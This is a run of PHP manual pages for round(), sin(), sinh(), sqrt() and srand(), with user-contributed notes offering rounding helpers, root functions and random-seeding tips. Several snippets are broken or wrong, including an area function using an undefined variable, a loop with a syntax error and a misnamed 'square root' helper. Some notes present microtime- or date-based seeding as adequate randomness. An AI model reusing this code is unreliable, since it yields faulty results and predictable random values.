<?php echo 252 / 40; // 6.3 ?>

If I round this:

<?php echo round(252 / 40); // 6 ?>

But I like to enable result like PHP_ROUND_HALF_UP. I can do this:

<?php echo round((252/40) + 0.5); // 7 ?>

It's usefull to paginators ;)
hugues at zonereseau dot com 01-Jul-2010 12:45
I had problem with round() function I didn't gave me the same result in windows or on a linux server :

<?php
round(4.725, 2); // gave me 4.72 on linux
round(4.725, 2); // gave me 4.73 on windows
?>

The expected result was 4.73

Here my function to resolve my problem

<?php
function mround($number, $precision=0) {

    $precision = ($precision == 0 ? 1 : $precision);
    $pow = pow(10, $precision);

    $ceil = ceil($number * $pow)/$pow;
    $floor = floor($number * $pow)/$pow;

    $pow = pow(10, $precision+1);

    $diffCeil     = $pow*($ceil-$number);
    $diffFloor     = $pow*($number-$floor)+($number < 0 ? -1 : 1);

    if($diffCeil >= $diffFloor) return $floor;
    else return $ceil;
}

echo mround(4.725, 2); // Yes 4.73
?>
edgarmveiga at gmail dot com 05-Jan-2010 08:58
Trying to simulate the toPrecison function of Javascript, I have obtained this method. Any sugestions or revisions [sent to me by email, not posted here] would be appreciated:

<?php

   /**
     * Rounding to significant digits ( just like JS toPrecision() )
     *
     * @number <float> value to round
     * @sf <int> Number of significant figures
     */
    public function toPrecision($number, $sf) {
          // How many decimal places do we round and format to?
          // @note May be negative.
          $dp = floor($sf - log10(abs($number)));

          // Round as a regular number.
          $numberFinal = round($number, $dp);

          //If the original number it's halp up rounded, don't need the last 0
          $arrDecimais=explode('.',$numberFinal);
          if(strlen($number) > strlen($numberFinal) && $dp > strlen($arrDecimais[1])) {
                $valorFinal=sprintf("%.".($dp-1)."f", $number);
          }
          else {
               //Leave the formatting to format_number(), but always format 0 to 0dp.
                $valorFinal=str_replace(',', '', number_format($numberFinal, 0 == $numberFinal ? 0 : $dp));
          }

          // Verify if needs to be represented in scientific notation
          $arrDecimaisOriginal=explode('.',$number);
          if(sizeof($arrDecimaisOriginal)>=2) {
              return (strlen($arrDecimaisOriginal[0])>$sf)?
                                                            sprintf("%.".($sf-1)."E", $valorFinal) :
                                                            $valorFinal;
          }
          else {
              return sprintf("%.".($sf-1)."E", $valorFinal);
          }
    }
?>
Anonymous 02-Nov-2009 08:52
This functions return ceil($nb) if the double or float value is bigger than "$nb.5" else it's return floor($nb)

<?php
    function arounds_int($nb) {

        if(!is_numeric($nb)) {
            return false;
        }

        $sup = round($nb);
        $inf = floor($nb);
        $try = (double) $inf . '.5' ;

        if($nb > $try) {
            return $sup;
        }

        return $inf;
    }
?>
michaeldnelson dot mdn at gmail dot com 25-Sep-2009 06:42
This function will let you round to an arbitrary non-zero number.  Zero of course causes a division by zero.

<?php
function roundTo($number, $to){
    return round($number/$to, 0)* $to;
}

echo roundTo(87.23, 20); //80
echo roundTo(-87.23, 20); //-80
echo roundTo(87.23, .25); //87.25
echo roundTo(.23, .25); //.25
?>
Bevan 17-Sep-2009 12:24
Formats a number to the specified number of significant figures.

<?php
/**
 * Formats numbers to the specified number of significant figures.
 *
 * @author Bevan Rudge, Drupal.geek.nz
 *
 * @param number $number
 *   The number to format.
 * @param integer $sf
 *   The number of significant figures to round and format the number to.
 * @return string
 *   The rounded and formatted number.
 */
function format_number_significant_figures($number, $sf) {
  // How many decimal places do we round and format to?
  // @note May be negative.
  $dp = floor($sf - log10(abs($number)));
  // Round as a regular number.
  $number = round($number, $dp);
  // Leave the formatting to format_number(), but always format 0 to 0dp.
  return number_format($number, 0 == $number ? 0 : $dp);
}
?>
mydanielsmile+phpnet at gmail dot com 30-Mar-2009 12:00
Function to round in increments I made:
<?php
function round_to($number, $increments) {
$increments = 1 / $increments;
return (round($number * $increments) / $increments);
}
?>
For example:
<?php
$n = 5.3;
echo round_to($n, 0.5); // 5.5
?>

Daniel.
Montoya 30-Oct-2008 02:36
Here's a quick gotcha:

I was fetching some data from a web service using cURL & SimpleXML and getting values like 28.75. I was then rounding these values but getting 28 instead of 29.

Turns out the values were strings, so round() would treat them as integers, and casting to an int drops off the decimals (like floor()).

So I had to do:

round( (double) $val );

HTH!
darkstream777 at gmx dot net 13-Oct-2008 08:16
Here is another method to round digits with precision support:

<?php
function roundDigits( $value, $precision=0 )
{
    $precisionFactor = ($precision == 0) ? 1 : pow( 10, $precision );
    return round( $value * $precisionFactor ) / $precisionFactor;
}
?>

Example:
echo roundDigits(1.859438,2) . "<br />"; // equals 1.86
echo roundDigits(1.444444,4); // equals 1.4444

Greetings, darki
Chris 01-Sep-2008 05:05
I dont think it is a bug as such but when rounding genrally you tend to only round from the digit after the precision you want.

The only way to get arround this is by rounding it twice with diffrent precisions:

<?php
$round1 = round(8.1246, 3); //8.125
$round2 = round($round1, 2); //8.13
echo $round2;
?>
chris at chrisstockton dot org 30-Jul-2008 04:05
In case anyone has a problem like me ever, were you are doing very large stat calculations on a array and end up with floats with way to large of precision. A good way to round them all to N length is below.

<?php
    public function recursiveRound(array &$arr, $precision)
    {
        foreach($arr as $key => $val) {
            if(is_array($val)) {
                $this->recursiveRound($arr[$key], $precision);
            } elseif(is_float($val)) {
                $arr[$key] = round($arr[$key], $precision);
            }
        }
        return $arr;
    }
?>
Darryl Kuhn 29-Jul-2008 04:59
I needed a round up function with precision which surprisingly did not exist (at least that I could see). This does the trick:

<?php
function roundUp( $value, $precision=0 )
{
    // If the precision is 0 then default the factor to 1, otherwise
    // use 10^$precision. This effectively shifts the decimal point to the
    // right.
    if ( $precision == 0 ) {
        $precisionFactor = 1;
    }
    else {
        $precisionFactor = pow( 10, $precision );
    }

    // ceil doesn't have any notion of precision, so by multiplying by
    // the right factor and then dividing by the same factor we
    // emulate a precision
    return ceil( $value * $precisionFactor )/$precisionFactor;
}
?>
alveda at pinoywebsys dot com 20-Apr-2008 12:09
My simple work around.

<?php
function my_round($value, $precision=0) {
    return round(round($value*pow(10, $precision+1), 0), -1)/pow(10, $precision+1);
}
?>
ThOmAs 16-Apr-2008 04:32
Excample :
<?php
function if_this_an_int($arg)
{
if(strlen($arg) > 0 && is_numeric($arg) && $arg > 0)
{
echo round($arg);
}
}
$test = 1.3;
echo if_this_an_int($test);
?>

You can use this function for any formular in your website, when you must to check if not empty or zero and it's a number

I hope you can need this.
admin at studio-gepard dot pl 29-Mar-2008 01:08
Here is basic function I sue to round file size. It gives as output text, so it's very easy to use it in your applications.

$SIZE is file size in MB.
function output is text.

<?php
function sizetotext($SIZE){

  if ($SIZE>=1024){
     $SIZE=round($SIZE/1024,2);
     return $SIZE."GB";
  }else{
    if ($SIZE>=1){
      return $SIZE."MB";
    }else{
      $SIZE=$SIZE*1000;
      return "~".$SIZE."KB";
    }
  }

}
?>
skinnepa at hotmail dot com 27-Feb-2008 01:16
Remember kids that rounding a DB NULL will result in a 0 zero;  test your NULLs!
martinr at maarja dot net 12-Jan-2008 03:40
Please note that the format of this functions output also depends on your locale settings. For example, if you have set your locale to some country that uses commas to separate decimal places, the output of this function also uses commas instead of dots.

This might be a problem when you are feeding the rounded float number into a database, which requires you to separate decimal places with dots.

See it in action:
<?php
    echo round('3.5558', 2);
    setlocale(constant('LC_ALL'), 'et_EE.UTF-8');
    echo '<br />'. round('3.5558', 2);
?>

The output will be:
3.56
3,56
mark at customcartons dot com dot au 05-Aug-2007 06:39
I'm sure its been done before, but here's my example of a round up function.

This function allows you to specify the number of decimal places to round up to.

Eg, when rounding up to 3 decimal places, this function adds 0.0005 to the original value and performs round(), or for 6 decimal places, adds 0.0000005 and performs round(), etc...

Hopefully some of you will find it useful:

<?php
function roundup ($value, $dp)
{
    // Offset to add to $value to cause round() to round up to nearest significant digit for '$dp' decimal places
    $offset = pow (10, -($dp + 1)) * 5;
    return round ($value + $offset, $dp);
}
?>

Please post if you have any comments or improvements on this :-)
tom at crysis-online dot com 17-Mar-2007 08:31
I just found out then that even if you round a double (3.7) to an integer (4), it's data type remains as 'double'. So it's always good to use the settype() function when using the round() function to prevent any problems with your scripts.
chafy at alo dot bg 28-Feb-2007 06:13
The function round numbers to a given precision.

<?php
function toFixed($number, $round=2)
{

    $tempd = $number*pow(10,$round);
    $tempd1 = round($tempd);
    $number = $tempd1/pow(10,$round);
    return $number;

}

echo round(5.555,2); //retunr 5.55 - I don't know why
echo toFixed(5.555,2);  //return 5.56
?>
maxteiber at gmail dot com 16-Oct-2006 05:15
the result of this function always depends on the underlying C function. There have been a lot of compiler bugs and floating-point precission problems involving this function. Right now the following code:

<?php
echo round(141.075, 2);
?>

returns:

141.07

on my machine.
So never really trust this function when you do critical calculations like accounting stuff!
Instead: use only integers or use string comparisons.
27-Jan-2006 12:41
Instead of writing roundDown() and roundUp() functions in php, you might want to consider floor() and ceil(), as they are probably much, much faster.
martin at chinese-monkey dot com 13-Nov-2004 09:16
If you didn't want to use 'ceil()' or 'floor()' as it only rounds to a whole number u could do this:

<?php
$actual_value = 3.352;
$number = 0.01; //how many decimal places you want it to be

$temp1 = $actual_value * 2;
$temp2 = $temp1 + $number; //'+ $number' if rounding up '- $number' if rounding down
$temp3 = $temp2 / 2;
$new_value = round($temp3, 2);

echo $new_value; // 3.36
?>
red at aztec dot sk 19-Jul-2004 05:21
Better is:

<?php
   $actual_value = 3.45;              // 3.45
   $half_round = round(($actual_value*2), 0)/2; // 3.5
?>

or
<?php
   $actual_value = 3.45;              // 3.45
   $temp1 = $actual_value * 2;        // 6.9
   $temp2 = round($temp1, 0);  // 7
   $half_round = $temp2 / 2            // 3.5
?>

NOT
<?php
   $actual_value = 3.45;              // 3.45
   $temp1 = $actual_value * 2;        // 6.9
   $temp2 = round($actual_value, 0);  // 7
   $half_round = $temp2 / 2            // 3.5
?>
terry at scribendi dot com 12-Jan-2004 11:45
To round any number to a given number of significant digits, use log10 to find out its magnitude:

<?php round($n, ceil(0 - log10($n)) + $sigdigits); ?>

Or when you have to display a per-unit price which may work out to be less than a few cents/pence/yen you can use:

<?php
// $exp = currency decimal places - 0 for Yen/Won, 2 for most others
$dp = ceil(0 - log10($n)) + $sigdigits;
$display = number_format($amount, ($exp>$dp)?$exp:$dp);
?>

This always displays at least the number of decimal places required by the currency, but more if displaying the unit price with precision requires it - eg: 'English proofreading from $0.0068 per word', 'English beer from $6.80 per pint'.
25-Aug-2003 04:12
Many have thus far mentioned problems encountered when trying to add a small fuzz factor to a number such as 1.499999999.  This is the way I get around that problem using , allbeit probably less efficient than assuming a small possiblitiy for error:

<?php
$numberToRound = 1.5;

//Convert to string.
$numberToRound = "$numberToRound";

//iff number ends in a "5", add fuzz
if (eregi("$5", $pages)) $pages += .000001;

$round = round($pages, 0);
?>
ianring (at) golden.net 07-Aug-2003 12:30
The round() function may indeed work properly with half-values (eg. 1.5), but this little method will give you peace of mind. Add some "fuzz" to your function with a miniscule delta value.

<?php
$delta = 0.00001;
$x = round($x+$delta);
?>

This is fine, unless $x has a value of 1.49999 ... if you worried about that, use this method instead:

<?php
if(($x-floor($x))==0.5){
   $x+=$delta;
}
$x = round($x);
?>

you can change your "optimistic" delta into a "pessimistic" delta by subtracting instead of adding.

Cheers,
Ian Ring
ralf dot schreijer at smc dot uni-muenster dot de 18-Jun-2003 05:39
The function below regards a higher number of digits for rounding as the number of digits you want to round! At least it rounds a Value to the number of digits you want to:

<?php
function MyRound($iValue, $iDigits, $iPrecision){
   $iDigits = intval($iDigits);
   $iPrecision = intval($iPrecision);
   if($iDigits > $iPrecision){ $iPrecision = $iDigits; }
   for($i = $iPrecision; $i >= $iDigits; $i--){
      $iValue = round($iValue, $i);
   } // for($i = $iPrecision; $i >= $iDigits; $i--) -- END
   return $iValue;
}
?>
Oromian 12-May-2003 05:08
<?php
// Rounding to the nearest fifth
// or any other increment you wish...

$percent = "48";
  $num = round($percent/5)*5;
    echo $num;
    // returns 50

$percentt = "47";
  $numm = round($percentt/5)*5;
    echo $numm;
    // returns 45
?>
tichoux at charlevoix dot net 23-Oct-2002 02:06
for a poll, if you want to have 100% and not 99 or 99.99 % you can do that :

<?php
round( number_format( (($individual_result*100)/$total_result), 2), 1);
?>
kt at netspirit dot ch 20-Aug-2002 09:10
because of some site-effects between round() and modulo, therfore the result is not exactly at  every time ...
another way ( and without site-effects) of getting 0.05 increments for currencies, f.e. swiss francs:

<?php
$res = (round(20*$chf))/20;
echo $res;
?>

with kind regards
php at silisoftware dot com 14-Aug-2002 02:15
Here's a function to round to an arbitary number of significant digits. Don't confuse it with rounding to a negative precision - that counts back from the decimal point, this function counts forward from the Most Significant Digit.

ex:

<?php
round(1241757, -3); // 1242000
RoundSigDigs(1241757, 3); // 1240000
?>

Works on negative numbers too. $sigdigs should be >= 0

<?php
function RoundSigDigs($number, $sigdigs) {
    $multiplier = 1;
    while ($number < 0.1) {
        $number *= 10;
        $multiplier /= 10;
    }
    while ($number >= 1) {
        $number /= 10;
        $multiplier *= 10;
    }
    return round($number, $sigdigs) * $multiplier;
}
?>
twan at ecreation dot nl 15-May-2000 06:51
If you'd only want to round for displaying variables (not for calculating on the rounded result) then you should use printf with the float:

<?php printf ("%6.2f",3.39532); ?>

This returns: 3.40 .
rand
sin
Math Functions


Sine

round
sinh
Math Functions
PHP Manual

sin

(PHP 4, PHP 5)

sin — Sine

Description

float sin ( float $arg )

sin() returns the sine of the arg parameter. The arg parameter is in radians.

Parameters

arg

A value in radians

Return Values

The sine of arg

Examples

Example #1 sin() example

<?php

// Precision depends on your precision directive
echo sin(deg2rad(60));  //  0.866025403 ...
echo sin(60);           // -0.304810621 ...

?>

See Also

  • asin() - Arc sine
  • sinh() - Hyperbolic sine
  • cos() - Cosine
  • tan() - Tangent
  • deg2rad() - Converts the number in degrees to the radian equivalent

User Contributed Notes

gerjoo at gmail dot com 15-Mar-2010 01:26
You can use SIN & COS to create/draw circles.

Please beware that the circle's center is also your base point (0,0). So without specifying an offset, some coordinates will be negative.

<?php

$circleRadius = 70;
$offsetX      = 100;
$offsetY      = 100;

for($i = 0; $i <= 360; ++$i) {
    $x = round(cos($i * M_PI / 180) * $circleRadius);
    $y = round(sin($i * M_PI / 180) * $circleRadius);

    // Draw some pixel, or do something else here.
    imagesetpixel($GDimage, $x + $offsetX, $y + $offsetY, $GDcolor);
}

?>
round
sinh
Math Functions


Hyperbolic sine

sin
sqrt
Math Functions
PHP Manual

sinh

(PHP 4 >= 4.1.0, PHP 5)

sinh — Hyperbolic sine

Description

float sinh ( float $arg )

Returns the hyperbolic sine of arg, defined as (exp(arg) - exp(-arg))/2.

Parameters

arg

The argument to process

Return Values

The hyperbolic sine of arg

See Also

  • sin() - Sine
  • asinh() - Inverse hyperbolic sine
  • cosh() - Hyperbolic cosine
  • tanh() - Hyperbolic tangent

User Contributed Notes

There are no user contributed notes for this page.
sin
sqrt
Math Functions


Square root

sinh
srand
Math Functions
PHP Manual

sqrt

(PHP 4, PHP 5)

sqrt — Square root

Description

float sqrt ( float $arg )

Returns the square root of arg.

Parameters

arg

The argument to process

Return Values

The square root of arg or the special value NAN for negative numbers.

Examples

Example #1 sqrt() example

<?php
// Precision depends on your precision directive
echo sqrt(9); // 3
echo sqrt(10); // 3.16227766 ...
?>

See Also

  • pow() - Exponential expression

User Contributed Notes

wietse89 at gmail dot com 27-Nov-2009 12:15
For the second square root this code will work too:
Note that it doesn't return float values.

<?php
$new = strlen(decbin(256));
echo $new; //8
?>
netmask at gmx dot de 17-Aug-2009 02:45
My little function to get the x'th square root of a value

<?php
/*
* Example: second square root of 256 = 8 [reverse: pow(2,8) = 256]
*/
function xsqrt($x, $value)
{
    $count = 0;
    do{
        $value=$value/$x;
        $count++;
    }while($value>=$x);

    return $count;
}

/* Example ip subnet: */

$net_size = 256;
$subnet = 32 - xsqrt(2, $net_size);
echo '/' . $subnet;

/* returns: /24
*/
?>
29-Mar-2006 12:03
A much easier way to find perfect squares:
This method uses integer roots to find perfect squares instead of integer squares to find integer roots.

<?

# initial value
$i = 0;

#set any limit you want
$setSomeLimit = 10000;

# do it! .... do it! ... do it!
for ($n = 1; $n < sqrt($setSomeLimit; $n++)
{
    // Find the square
    $s= $n * $n;

    print "<br>perfect_square_root is of $s is $n";
}

?>
php NOSPAM at primezero dot com 13-Jul-2005 07:15
creating perfect squares... (no decimals)

<?

# initial value
$i = 0;

#set any limit you want
$setSomeLimit = 10000;

# do it! .... do it! ... do it!
do {

   # find the square root
   $sqRoot  = sqrt($i);

   # not a decimal? that it is a perfect square! ^_^
   if ( ereg ("^[0-9]{1,12}$", $sqRoot)) {

       # suppose that the_square_root = teh_square_root
       print "<br>perfect_square_root is of $i is $sqRoot";
   }
$i++; # next!!

# keeps running until it reaches the limit
} while ($i < $setSomeLimit);

?>
btharper1221 at gmail dot com 15-May-2005 08:48
this is something you can use if you need an exact answer to a root problem, this includes an echo outside of the function to show how it works, it will return it such as
$ret[0] is the number still part of the root (this is the exactness part of it)
$ret[1] is the number of roots and
$ret[2] is 1 or 0, 1 being that there should be an i following the number of roots (imaginary)

<?php
function newrt($val,$rt){
$i = 0;
if(($rt % 2 == 0) && ($val < 1)){
$i = 1;
$val = (-$val);
}
$c = 1;
if(($rt % 2 != 0) && ($val < 0)){
$c = -$c;
$val = -$val;
}
for($d = 2; pow($d,$rt) <= abs($val); $d++){
if($val % (pow($d,$rt)) == 0){
$val = ($val/(pow($d,$rt)));
$c = ($c*$d);
$d--;
}
}
$ret[0] = $val;
$ret[1] = $c;
$ret[2] = $i;
return $ret;
}//end function newrt

$ret = newrt($num,$num2);
if($ret[0] != 1){
if($ret[2] == 0) echo $ret[1]." roots of ".$ret[0];
if($ret[2] == 1) echo $ret[1]."<b><i>i</i></b> roots of ".$ret[0];
}elseif($ret[0] == 1){
if($ret[2] == 0) echo $ret[1];
if($ret[2] == 1) echo "$ret[1]<b><i>i</i></b>";
}
?>
chris DOT rutledge AT gmail DOT com 31-Mar-2005 02:24
Just a note to say you can take the square root of a negative number - it returns an imaginary number.

One might do it like this

//take initial value of $x

$abs_x = abs($x);
$answer = sqrt($abs_x);

echo $answer;

if ($x < 0) echo"<b><i>i</i></b>";
jouhni at web dot de 17-Feb-2005 11:46
To get any root of a number your can use the pow() function:

pow(8, 1/3)

which gives you the third root of eight.

Jouhni
php user 13-May-2004 12:25
How to calculate triangle's area if you haven't height measure.
You need only sides' measure.
it would have to work.

(formula of erone)

$s1 = side 1
$s2 = side 2
$s3 = side 3

<?
function area($s1,$s2,$s3)
{
$calc1 = ($s1+$s2+$s3)/2;
$calc2 = $p*($p-$s1)*($p-$s2)*($p-$s3);
$result = round(sqrt($p),2);
return $result;
}
?>

example of I use:

<?
//This will make to return the area of a triangle with sides of 3,4,5
$area = area(3,4,5);
echo $area;
?>
bishop 17-Jul-2003 10:09
Compute a triangle's area:

function triangleArea($a, $b /* ... */) {
    if (func_num_args() === 3) {
        $s = .5 * ($a + $b + ($c = func_get_arg(2)));
        return sqrt($s * ($s-$a) * ($s-$b) * ($s-$c));
    } else {
        return (.5 * $a * $b);
    }
}

With 2 args, parameters are triangle's base and height.  With 3 args, parameters are the lengths of each side.  Argument order is not important.

Either way, you get the area.
tcn at pandora dot be 13-Nov-2002 12:37
Checking if the square you want to take from a number is valid or not (you can't take the root of a negative number)

if ($i<0)
 {
  echo "Error! The number you specified can't be rooted! It's negative!
  }
  else
  {
  echo "The square root of your number is ".sqrt($i);
  }
morvandiumNOSPAM at yahoo dot com 04-Nov-2001 04:44
I find this useful for any grid system where distances need to be computed (maps and graphs, mostly).

Just use the distance between points formula (pseudo-code): sqrt((x2-x1)^2+(y2-y1)^2) to find the distance between two points.
sinh
srand
Math Functions


Seed the random number generator

sqrt
tan
Math Functions
PHP Manual

srand

(PHP 4, PHP 5)

srand — Seed the random number generator

Description

void srand ([ int $seed ] )

Seeds the random number generator with seed or with a random value if no seed is given.

Note: As of PHP 4.2.0, there is no need to seed the random number generator with srand() or mt_srand() as this is now done automatically.

Parameters

seed

Optional seed value

Return Values

No value is returned.

Changelog

Version | Description
Since 4.2.0 | The seed becomes optional and defaults to a random value if omitted.

Examples

Example #1 srand() example

<?php
// seed with microseconds
function make_seed()
{
  list($usec, $sec) = explode(' ', microtime());
  return (float) $sec + ((float) $usec * 100000);
}
srand(make_seed());
$randval = rand();
?>

See Also

  • rand() - Generate a random integer
  • getrandmax() - Show largest possible random value
  • mt_srand() - Seed the better random number generator

User Contributed Notes

dev+php at alepe dot com 18-May-2011 06:34
Be sure to "reset" srand() to a random seed once you use it (if you don't need the seed after that).
For example:

<?php
function myRandomArray(&$array, $seed) {
    srand($seed);
    shuffle($array);
}
//...
myRandomArray($array, 12345);
//...
//...
//...
$y = rand(0,100); //<-- Will always return the same sequence as srand is still on effect.
?>

To prevent that, one way is to set the srand() back to "normal":

<?php
function myRandomArray(&$array, $seed) {
    srand($seed);
    shuffle($array);
    srand(); //<-- this would do the trick
}
?>

This also applies for mt_srand().
Niels Keurentjes 25-Feb-2011 05:22
Keep in mind that the Suhosin patch which is installed by default on many PHP-installs such as Debian and DirectAdmin completely disables the srand and mt_srand functions for encryption security reasons. To generate reproducible random numbers from a fixed seed on a Suhosin-hardened server you will need to include your own pseudorandom generator code.
harmen at no dot spam dot rdzl dot nl 10-Apr-2009 10:53
To generate a random number which is different every day, I used the number of days after unix epoch as a seed:

<?php
   srand(floor(time() / (60*60*24)));
   echo rand() % 100;
?>

My provider upgraded the php server recently, and calling srand(seed) does not seem to set the seed anymore. To let srand set the seed, add the following line to your .htaccess file

php_value suhosin.srand.ignore 0

Kudos to doc_z (http://www.webmasterworld.com/php/3777515.htm)

Harmen
php at capuzza dot net 11-Jul-2007 04:24
Richard's statement, that calling srand more than once per script will impair you chance to get a true random number, is not necessarily correct. In fact using srand more than once can even improve randomness if you understand how.

The rand function uses a certain algorithm to calculate a number out of the seed given to srand. This algorithm, of course, is always the same, so without knowing the seed (which is assumed to be random) you can calculate any value returned by rand other than the first one if you know the first one. The chances to do so get better the higher the range of your random number is (and are pretty good if the range of the random number exceeds the possible range of the seed).

In the following example the range of the desired random number is 10 times higher than the possible range of the seed:

<?
list($usec, $sec) = explode(" ", microtime());
srand((int)($usec*10));
$rand_value = rand(0, 99);
echo($rand_value."<br>");
$rand_value = rand(0, 99);
echo($rand_value."<br>");
$rand_value = rand(0, 99);
echo($rand_value."<br>");
?>

The code will return 3 numbers. Execute the code several times and write down each set of numbers, you will notice that after a short time you will know the second and the third number by only seeing the first one and compare it to what you've written down. All that without knowing the random seed! Of course seeding with (double)microtime()*1000000 gives a 100,000 times higher range, but if the range of the random numbers you want to generate was 100,000 times higher too, it's just a matter of time for someone being able to predict all your random numbers after the first one.

But simply calling srand in between the rands wouldn't do the trick either, because the execution time of the code in between the srands is highly predictable. The key is to do something before each call of srand, which has a real random time of execution. Requesting a website from another server would be such a thing (can also be a SQL request or something).

<?
list($usec, $sec) = explode(" ", microtime());
srand((int)($usec*10));
$rand_value = rand(0, 99);
echo($rand_value."<br>");
$foo=file_get_contents
("http://www.google.com/search?q=sea
rch+term+does+not+matter&hl=en");
list($usec, $sec) = explode(" ", microtime());
srand((int)($usec*10));
$rand_value = rand(0, 99);
echo($rand_value."<br>");
$foo=file_get_contents
("http://www.google.com/search?q=sea
rch+term+still+does+not+matter&hl=en");
list($usec, $sec) = explode(" ", microtime());
srand((int)($usec*10));
$rand_value = rand(0, 99);
echo($rand_value."<br>");
?>

You can probably execute this code a thousand times with hardly getting any set of 3 numbers repeated. Try what you did with the other code snippet above and note that you improved randomness by using srand more than once.

Via http://www.capuzza.com/detail.php?ID=115293
bootc at bootc dot net 06-Jun-2005 08:03
OK, to summarize what people have been saying so far:

1. DO NOT seed the RNG more than once if you can help it!
2. You HAVE TO seed the RNG yourself if you are using PHP < 4.2.0.
3. Using a prime multiplier to microtime() probably does very little. Use the Mersenne Twister instead.
4. You can use the Mersenne Twister PRNG with the mt_rand and mt_srand functions. This is faster and is more random.
corey at eyewantmedia dot com 06-Jan-2005 08:22
Hey, I use rand() all the time to get a rough probability of something happening. I went ahead and wrote a little function to help with the situation "I wish this thing would happen 2% of the time, so here is 5 lines of code to figure it out" since I run into it so much. Obviously, this is pretty similar to the if rand($x, $y) <$soething way, but I find it a little more flexible.

/**
 * @return boolean
 * @param int $baseChance
 * @param int $chanceAmplifier
 * @desc Returns a true or false value based on a whether a random number
 *        in the range 1 - (100 * $chanceAmplifier) is less than $baseChance.
*/
function RandomChance($baseChance, $chanceAmplifier = 1) {
    srand( ((int)((double)microtime()*1000003)) ); // get a good seed
    $totalBag = 100 * $chanceAmplifier; // set up max limit

    $probCheck = rand(1,$totalBag); // get random number

    if ( ($probCheck < $baseChance) ) { //compare it to $baseChance
        $result = true;
    }  else {
        $result = false;
    }

    return $result; //Yay!
}
davidaylmer zebra gmail.com (zebra = at) 03-Jan-2005 06:42
Just for the convienience of others...
1000003 is a prime number

So (double)microtime()*1000003 may work better for some applications.
edublancoa at gmail dot com 23-Dec-2004 01:39
Another use of srand is to obtain the same value of rand in a determined time interval. Example: you have an array of 100 elements and you need to obtain a random item every day but not to change in the 24h period (just imagine "Today's Photo" or similar).
<?php
$seed = floor(time()/86400);
srand($seed);
$item = $examplearray[rand(0,99)];
?>
You obtain the same value every time you load the page all the 24h period.
no at spam dot com 01-Sep-2004 04:59
I simply use this, and it has always worked fine:

function initRand ()
{
    static $randCalled = FALSE;
    if (!$randCalled)
    {
        srand((double) microtime() * 1000000);
        $randCalled = TRUE;
    }
}
function randNum ($low, $high)
{
    initRand();
    $rNum = rand($low, $high);
    return $rNum;
}
Codaholics dot com 16-Jun-2004 10:59
office's comment about multiplying by 1234567 instead of 1000000 is slightly misguided for a couple of reasons.

first, as the editor note would indicate, 1234567 is not a prime number.

second, the problem he is attempting to fix is that the random values are slowly converging. this, however, is not a problem with the seeding of the random number generator, but a problem with the RNG itself.  most default RNGs that come with programming languages will converge because they were written for efficiency and to function in everyday programs.

if you need a Pseudo Random Number Generator (PRNG) that is cryptographically secure and does not converge after repeated use without seeding... you will unfortunately have to use a different generator.  There are several out there such as the MersenneTwister, Yarrow (by Bruce Schneierer of Counterpane Security) and more being made every day.  Due to the hassle of finding a reputable PRNG, it is recommended that you only need to use those for issues that require strong security such as gambling games and cryptography.

hope this cleared things up :)
vinod at todays-deals dot com 19-Oct-2002 01:57
hi,
Here is one useful function that returns random string for given length

//#########################//

function randomstring($len)
{
    srand(date("s"));
    while($i<$len)
     {
        $str.=chr((rand()%26)+97);
        $i++;
    }

    $str=$str.substr(uniqid (""),0,22);
    return $str;
}

$rand_value=randomstring(10);

//#########################//

Thanks
Vinod

http://www.todays-deals.com
office at at universalmetropolis dot com 26-Apr-2002 02:40
[Editor's note: 1234567 is NOT a prime number]

I created an application that requires millions of different random values replicating dice and have found over substantial time, the numbers even up towards the middle.

May I suggest rather than this:

(double)microtime()*1000000

Use this instead:

(double)microtime()*1234567

1000000 is an even number, divisible by almost anything. 1234567 is a prime number and is hence uneven so it gives a little more flexibility with range.

Don't know if this change was the main reason for affecting the application, but it seemed to help.
ceo at l-i-e dot com 22-Feb-2002 05:53
In addition to my earlier post being stupidly coded with $wasseeded = TRUE :-| here is an update:

In PHP4, I *BELIEVE* the random number generator will seed itself if you don't seed it.

In PHP3, or some versions of PHP3?, that was not the case -- An unseeded rand() wouldn't be random.

While it would "work fine" in terms of spitting out a number, an unseeded random number generator won't be very random in many situations unless it has been properly seeded.

I'm afraid I can't explain all the details of why this is because A) it would be an entire textbook, and B) I don't know them all by heart, even if I understood them 20 years ago in college.

If you are running PHP4, you are probably okay, and if you are happy with the randomness of your values, you are fine, but you may want to do a little test like:

<?php
  $stats[1] = 0;
  $stats[2] = 0;
  $stats[3] = 0;
  for ($i = 0; $i < 1000; $i++){
    $choice = rand(1,3);
    if (!$i){
      echo "First random choice: $choice<BR>\n";
    }
    $stats[$choice]++;
  }
  reset($stats);
  while (list($num, $count) = each($stats)){
    echo "$num: $count<BR>\n";
  }
?>

Run the test a half-dozen times and check that the distribution of 1, 2, and 3 is even, and that the first number chosen is not the same every time.

This is hardly an exhaustive test, but it at least gives some reassurance that the numbers aren't completely predictable.

You may also wish to switch to http://php.net/mt_rand which is faster (if you generate a *LOT* of numbers) and allegedly a "better" (more random) function.

Again, it would be an entire book to explain why mt_rand is "more random"...

YMMV.  If you're doing "Casino Slots" with real money, you'd better do your homework on this.  If you're giving away a free CD or something silly, who cares?
sinister at cyberfrag dot com 21-Jan-2002 11:08
It's pretty easy how he's getting a highly random number. Microtime measures the time since the Epoch (0:00:00 January 1, 1970 GMT). Microtime() returns a string of 2 parts, the current microsecond count, a space, and then the time since the Epoch. By using (double), he chops off the seconds-since-Epoch time, and uses the "current microsecond count" until the next second.

Since time moves constantly, microseconds is the smallest unit a programming language makes use of, the current microseconds up until the next second will give you a million different numbers, every second. Now simply multiply the 0.xxxxxx number by 1,000,000 (like back in Jr. High School), and it will niftily place the 0.xxxxxx number in xxxxxx fashion for your seed.
mlwmohawk at mohawksoft dot com 02-Nov-2001 07:51
srand() is pretty tricky to get right. You should never seed a random number generator more than once per php process, if you do, your randomness is limited to the source of your seed.

The microtime function's micro-seconds portion has a very finite resolution, that is why the make_seed function was added to the document. You should never get the same seed twice.

In the later CVS versions, PHP will seed the random generator prior to performing a rand() if srand() was not previously called.
trobinson-a-t-gksystems-d-o-t-com 02-Nov-2001 02:26
The need to seed.
You might run a script like this:
   echo mt_rand(0,99999999);
a bunch of times, say by pressing Refresh in the browser, and get a different result each time. That is dependent on your web server. If the same apache/mod-php process lives through several invocations of the script, it won't reset the seed each time. But every php process will start with the same seed. If php is invoked as an external cgi, seed will always be the same. So... always seed!
php_public at macfreek dot nl 07-Oct-2001 08:52
The make_seed() function in the example code is VERY bad, and is in fact responsible for seeding always the same value, so that the output of rand() is the same with every page reload (!)

ALWAYS use:
(double)microtime()*1000000

